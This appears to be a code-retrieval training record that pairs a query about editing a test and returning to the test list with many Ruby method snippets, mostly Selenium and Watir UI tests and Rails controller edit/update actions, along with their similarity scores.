"def edit_button_clicked\n\n\t\t\t# Set flag for edit mode, store \n\t\t\t@edited_item = @form.folderList.currentItem\n\t\t\n\t\t\t# Show and activate the child window\n\t\t\tshow_browse_form(@edited_item.text)\n\t\tend",
"def edit\n puts \"\\n******* edit *******\"\n end",
"def test_014\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n\n #Get window id\n window_id = get_attribute(\"//body/div[2]\", \"id\")\n window_id =~ /.*?id=(\\d+).*?/\n\n #Maximize window\n click window_id + \"_close\"\n\n sleep 3\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test_023\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n #The directory/file names which were being changed into the check state\n #at the information dialog which clicks analyze_allow_files\n #and comes out are enumerated.\n click $xpath[\"task\"][\"analyze_allow_file_link\"]\n sleep 3\n\n assert !is_text_present(\"sample_c/Makefile\")\n\n # logout\n logout\n\n end",
"def test_edit_a_task_add_new_function_part\n results = Task.editExistingTask(\"#{MyApp.settings.root}/tests/unit/tasks_test_model_file.txt\", \"i\", \"Bob\", \"Run the Roomba\", \"28373316\")\n assert_equal(nil, results)\n end",
"def test_009\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n #Pu created\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n # click link setup QAC\n assert is_text_present(\"qac\")\n sleep 3\n click $xpath[\"task\"][\"analyze_allow_file_link\"]\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(\"analyze_allow_files(qac)\") rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n # click link setup QAC++\n assert is_text_present(\"qacpp\")\n sleep 3\n click $xpath[\"task\"][\"analyze_allow_file_link2\"]\n # check log in the navigation bar\n sleep 2\n assert !60.times{ break if (is_text_present(\"analyze_allow_files(qacpp)\") rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test_edit\n get :edit\n assert_response :success\n assert_template 'frontend/password_reset_requests/new'\n \n # @user\n user = assigns(:user)\n assert_nil user\n \n user = frontend_user_for_login\n user.reset_perishable_token!\n get :edit, :id => user.perishable_token\n assert_response :success\n assert_template 'frontend/password_reset_requests/edit'\n \n # @user\n user = assigns(:user)\n assert_not_nil user\n \n assert_select 'head' do\n assert_select 'title', 'example.com - Neues Passwort speichern'\n end\n assert_select 'body' do\n assert_select 'form input[type=hidden][name=id]', true\n assert_select \"form input[type=password][name='frontend_user[password]']\", true\n assert_select \"form input[type=password][name='frontend_user[password_confirmation]']\", true\n end\n \n # @current_user\n current_user = assigns(:current_user)\n assert_nil current_user\n \n # @current_user_session\n current_user_session = assigns(:current_user_session)\n assert_nil current_user_session\n \n # redirection if logged in\n frontend_user_log_on\n \n get :edit, :id => user.perishable_token\n assert_response :redirect\n assert_redirected_to url_for(:controller => 'frontend/community/users', :action => 'account', :namespace => nil, :subdomains => ['www'])\n end",
"def reopen(*several_variants)\n #This is a stub, used for indexing\n end",
"def test03_post_open_news_CancelDeleteArticleOneComment\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_article)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentCancelDelete\n\t\t \n\t\tassert $comment_delete_link.exists?\n\tend",
"def focus\n unless @@__focused\n clear_test_methods!\n @@__focused = true\n end\n @@__focus_next = true\n end",
"def test02_post_open_board_publish_article_draft_TC_24309\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_post_open_article_new)\n\t\t\n \t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tdelete_draft\n\tend",
"def test_007\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n @@pu = Pu.find_by_name('SamplePU1')\n\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n @@pj = Pj.find_by_name('SamplePJ1')\n\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # test for value of master into combobox in master tab\n assert_equal [\"sample_c_cpp\"], get_select_options(\"master_id\")\n assert is_text_present(_(\"Optional setting\"))\n # click link setup QAC\n assert is_text_present(\"qac\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link\"]\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n # click link setup QAC++\n assert is_text_present(\"qacpp\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link2\"]\n sleep 2\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n\n\n # logout\n logout\n\n end",
"def test_018\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #An option is checked\n assert is_checked($xpath[\"task\"][\"master_option_chk2\"])\n #Click a directory link\n click $xpath[\"task\"][\"master_option_dir1\"]\n sleep 2\n #Click a sub directory link\n click $xpath[\"task\"][\"master_option_file1\"]\n sleep 2\n #uncheck a file\n\n click $xpath[\"task\"][\"master_option_chk5\"]\n sleep 2\n\n #The state of other check boxes is not influenced.\n assert is_checked($xpath[\"task\"][\"master_option_chk6\"])\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end",
"def test03_CloseFlagArticleDialog\n\t\tcommentArticlePop\n\t\tsleep 4\n\t\tcommentPopSubmit\n\t\tsleep 4\n\t\tcommentCloseFlag\n\t\t\n\t\tbegin \n\t\tassert $comment_flag_link.exists?\n\t\t\trescue => e\n\t\t\tputs \"IPST03: FAILED! User unable to flag comment!\"\n\t\t\tputs e\n\t\tend\n\tend",
"def test02_post_closed_news_CloseFlagNoteDialog\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_closed_note)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentCloseFlag\n\t\t\n\t\tassert $comment_flag_link.exists?\n\tend",
"def test_closeJobOrder\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n Common.goToTab(HomePage::REQUISITION_TAB_LINK_XPATH)\n test = [{\"displayed\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"click\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"displayed\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH},\n {\"set_text\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH, \"text\" => RequisitionsHomePage::RECORD_TYPE_REQUISITION_TEXT},\n {\"click_and_load\" => RequisitionsHomePage::CONTINUE_BUTTON_XPATH},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH, \"text\" => RequisitionsNewAndEdit::REQUISITION_NAME},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_PRIMARY_RECRUITER_TEXT_XPATH, \"text\" => RequisitionsNewAndEdit::PRIMARY_RECRUITER_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_LOCATION_XPATH, \"text\" => RequisitionsNewAndEdit::LOCATION_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITION_CURRENCY_SELECT_XPATH, \"text\" => RequisitionsNewAndEdit::CURRENCY_TEXT},\n {\"set_text_exist\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_DEPARTAMENT_XPATH, \"text\" => RequisitionsNewAndEdit::DEPARTMENT_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MIN_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MIN_SALARY_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MAX_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MAX_SALARY_TEXT}, \n {\"click\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_SAVE_XPATH}] \n Common.main(test)\n Common.goToTab(HomePage::REQUISITION_TAB_LINK_XPATH)\n test2 = [{\"displayed\" =>RequisitionsHomePage::REQUISITIONS_PAGE_FIRST_ENTRY_LIST_TITLE_XPATH},\n {\"click\" => RequisitionsHomePage::REQUISITIONS_PAGE_FIRST_ENTRY_LIST_TITLE_XPATH},\n {\"displayed\" => RequisitionsDetail::REQUISITIONS_DETAIL_BTN_CLOSE_JOB_XPATH},\n {\"click\" => RequisitionsDetail::REQUISITIONS_DETAIL_BTN_CLOSE_JOB_XPATH}]\n Common.main(test2)\n $wait.until{\n windowsNumer = $browser.window_handles.size\n windowsNumer > 1\n }\n newWindow= $browser.window_handles[1]\n $browser.switch_to.window(newWindow) \n $wait.until {\n $browser.find_element(:xpath, RequisitionsCloseJob::REQUISITIONS_CLOSE_JOB_CLOSED_REASON_XPATH).displayed?\n }\n $browser.find_element(:xpath, RequisitionsCloseJob::REQUISITIONS_CLOSE_JOB_CLOSED_REASON_XPATH).send_keys RequisitionsCloseJob::CLOSE_REASON_TEXT\n $browser.find_element(:xpath, RequisitionsCloseJob::REQUISITIONS_CLOSE_JOB_SUCCESS_BTN_XPATH).click\n $wait.until {\n $browser.find_element(:xpath, RequisitionsCloseJob::OVERALL_REJECTED_REASON_SELECT_XPATH).displayed?\n }\n Common.set_text_exist(RequisitionsCloseJob::REQUISITIONS_CLOSE_JOB_CLOSED_REASON_XPATH, RequisitionsCloseJob::CLOSE_REASON_TEXT)\n Common.set_text_exist(RequisitionsCloseJob::OVERALL_REJECTED_REASON_SELECT_XPATH, RequisitionsCloseJob::OVERALL_TEXT)\n $browser.find_element(:xpath, RequisitionsCloseJob::REQUISITIONS_CLOSE_JOB_SUCCESS_BTN_XPATH).click\n assert $wait.until {\n $browser.find_element(:xpath, RequisitionsCloseJob::CONFIRM_DELETED_MESSAGE_XPATH).displayed?\n }\nend",
"def test_025\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n #The Make root directory set as the make_root field enters.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n #Move to general control tab\n click $xpath[\"task\"][\"general_control_tab\"]\n\n #The information set does not disappear and remains.\n assert_equal \"public/\", get_value($xpath[\"task\"][\"make_root_main_link\"])\n\n # logout\n logout\n\n end",
"def test05_post_closed_board_close_article_draft\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_boards_post_closed_article_new)\n\t\t\n\t\tcreate_article_draft \"Article for Draft #{random}\"\n\t\tclose_delete\n\tend"
] |
[
"0.655958",
"0.6016864",
"0.6015502",
"0.6012939",
"0.600813",
"0.59931165",
"0.59917027",
"0.587614",
"0.57925636",
"0.57449096",
"0.57449096",
"0.57264245",
"0.57233125",
"0.57227916",
"0.5719982",
"0.56793207",
"0.5662548",
"0.5589693",
"0.55793744",
"0.55762565",
"0.55743694",
"0.55504996",
"0.55471206",
"0.55471206",
"0.55425376",
"0.5537585",
"0.55310494",
"0.5521377",
"0.55058134",
"0.5496282",
"0.54850817",
"0.54814005",
"0.54781973",
"0.5474222",
"0.5466038",
"0.54655045",
"0.54499114",
"0.5445096",
"0.5445074",
"0.54093546",
"0.54058415",
"0.53967094",
"0.5381035",
"0.53804404",
"0.5380189",
"0.5380189",
"0.5370706",
"0.5359069",
"0.53559273",
"0.5349366",
"0.53480995",
"0.5348055",
"0.5343263",
"0.53204966",
"0.5320282",
"0.5320187",
"0.5319729",
"0.53159887",
"0.5315428",
"0.5313927",
"0.5306677",
"0.53017277",
"0.52996236",
"0.5297451",
"0.529574",
"0.52923113",
"0.5291768",
"0.5289943",
"0.52892786",
"0.5287794",
"0.52857465",
"0.5284172",
"0.5277525",
"0.5272897",
"0.52717793",
"0.52707434",
"0.5268227",
"0.52604806",
"0.5258377",
"0.5253582",
"0.52517253",
"0.5249183",
"0.5247259",
"0.52436376",
"0.5243015",
"0.52427757",
"0.523965",
"0.5238647",
"0.52366847",
"0.52366465",
"0.52360994",
"0.5233051",
"0.5225482",
"0.5218642",
"0.5216916",
"0.521406",
"0.52123517",
"0.5210302",
"0.5201824",
"0.5197024"
] |
0.58232296
|
8
|
Edit a test but return to test list when done.
|
def edit_qc_inspection_test_from_test_list
edit_qc_inspection_test true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n if @test.update(test_params)\n render status: :ok, json: @test\n else\n self.send(:edit)\n end\n end",
"def update\n if @test.update(test_params)\n respond_to do |format|\n format.html { redirect_to admin_tests_path }\n format.json { render :show, status: :ok, location: admin_tests_path }\n end\n else\n respond_to do |format|\n format.html { render :edit, notice: \"Please do you test again. An unexpected error has occured!\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end \n end",
"def re_edit_qc_inspection_test\n id = params[:id]\n if id && @qc_inspection_test = QcInspectionTest.find(id)\n @qc_inspection_type_code = @qc_inspection_test.qc_inspection.qc_inspection_type.qc_inspection_type_code\n return if authorise_for_web(program_name(@qc_inspection_type_code),'edit')== false\n\n @qc_inspection_test.set_status QcInspectionTest::STATUS_CREATED\n edit_qc_inspection_test\n end\n end",
"def update\n @test_run.scenarios.map! do |s|\n s.test_run = @test_run\n s.config_template = @test_run.config\n s\n end\n if @test_run.update(test_run_params)\n redirect_to @test_run, notice: 'Test run was successfully updated.'\n else\n render action: 'edit'\n end\n end",
"def update\n @test = @subject.tests.find_by_id(params[:id])\n if @test.update_attributes(params[:test])\n redirect_to user_subject_tests_path\n else\n render :action => \"edit\"\n end\n end",
"def update\r\n @test = Test.find(params[:id])\r\n @user = current_user\r\n if @test.update_attributes(test_params)\r\n flash[:success] = \"Record updated\"\r\n redirect_to(phr_tests_path(@test.phr, @test))\r\n else\r\n render 'edit'\r\n end\r\n end",
"def update\n @test = Mg::Test.find(params[:id])\n\n if @test.update_attributes(params[:test])\n flash[:notice] = 'Test was successfully updated.'\n redirect_to mg_test_url :id => @test.id\n else\n render :action => \"edit\"\n end\n end",
"def test_edit(pid)\n result = super\n if result\n return result\n else\n return test_edit_from_policy(pid)\n end\n end",
"def test_the_application_can_update_a_previous_item_description_on_our_to_do_list\n #Implement the test\n #Implement the controller action\n end",
"def update\n respond_to do |format|\n if @utest.update_attributes(params[:unit_test])\n flash[:notice] = 'Unit test was successfully updated.'\n format.html { redirect_to [@project, @utest] }\n format.xml { head :ok }\n else\n logger.error @utest.errors.full_messages.join('; ')\n flash[:error] = 'Error updating unit test: ' + view_model_errors(@utest)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @utest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n admin_only do\n @brands= Brands.all\n @pixeltests = PixelTest.all()\n \t# get the schedule object to be edited.\n \t@test = get_test_with_rescue\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_test = TestTest.find(params[:id])\n\n respond_to do |format|\n if @test_test.update_attributes(params[:test_test])\n format.html { redirect_to(@test_test, :notice => 'TestTest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_intest\n @context = 1\n update_submission\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to root_path, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_testtest\n @testtest = Testtest.find(params[:id])\n end",
"def update\n @test = Test.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:test])\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sample_for_edit(src = :edit_example)\n current = edit_id && User.find_by(id: edit_id)\n current&.delete\n new_record(src).tap do |record|\n self.edit_id = record.id if record.save!\n end\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @testtest.update(testtest_params)\n format.html { redirect_to @testtest, notice: 'Testtest was successfully updated.' }\n format.json { render :show, status: :ok, location: @testtest }\n else\n format.html { render :edit }\n format.json { render json: @testtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def run(test)\r\n @tests << test\r\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def test_ID_25844_edit_profile_cancel_reverted_changes\n login_as_user1\n go_to_edit_profile_page\n verify_cancel_reverted_changes_edit_profile \"test_ID_25835_edit_profile_desc\"\n end",
"def test_ID_25844_edit_profile_cancel_reverted_changes\n login_as_user1\n go_to_edit_profile_page\n verify_cancel_reverted_changes_edit_profile \"test_ID_25835_edit_profile_desc\"\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Prueba actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def set_test\n @test = Test.find(params[:id])\n end",
"def test_single_user_should_update_test_results_under_c1\n test_target_instance = get_new_test_target_instance(\"example3\", \"2012112803\")\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_PASS, 'test_case_1', 'test_case_2')\n\n batch_edit_test_results(test_target_instance, members(:one), TestResult::TEST_TARGET_FAIL, 'test_case_1', 'test_case_2')\n assert_response :success\n\n assert_test_result_valid(test_target_instance, members(:one), 'test_case_1', 2, 3, 2)\n assert_test_result_valid(test_target_instance, members(:one), 'test_case_2', 2, 3, 2)\n end",
"def update\n respond_to do |format|\n if @fixit_test.update(fixit_test_params)\n format.html { redirect_to @fixit_test, notice: 'Fixit test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fixit_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @test = Project.find(params[:id])\n end",
"def edit\n\t\tsession[:problem_id] = params[:problem_id]\n\t\tsession[:track_id] = params[:track_id]\n\t\tsession[:test_case_id] = params[:test_case_id]\n\t\t@test_case = TestCase.find_by_id(session[:test_case_id])\n\tend",
"def update\n if @test.update(test_params)\n return render json: {message: 'Test was updated succesfully', error: false }\n else\n return render json: {message: 'Error: Test was not updated succesfully', error: true }\n end\n end",
"def edit\n @step = Step.find(params[:id])\n @tc = TestCase.find(params[:test_case_id])\n @project = Project.find(params[:project_id])\n end",
"def test_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get newly added last row in the table to enter text\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),'Description of new line item')\r\n \r\n #remove the second line item\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(2)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Deleted Description two\")\r\n tr.link(:name, 'remove').click\r\n assert_equal false, tr.visible?\r\n \r\n #edit the first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(1)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Changed Description One\")\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n \r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def atest_ID_25835_edit_profile_desc\n login_as_user1\n go_to_edit_profile_page\n verify_elements_on_edit_profile \"test_ID_25835_edit_profile_desc\"\n end",
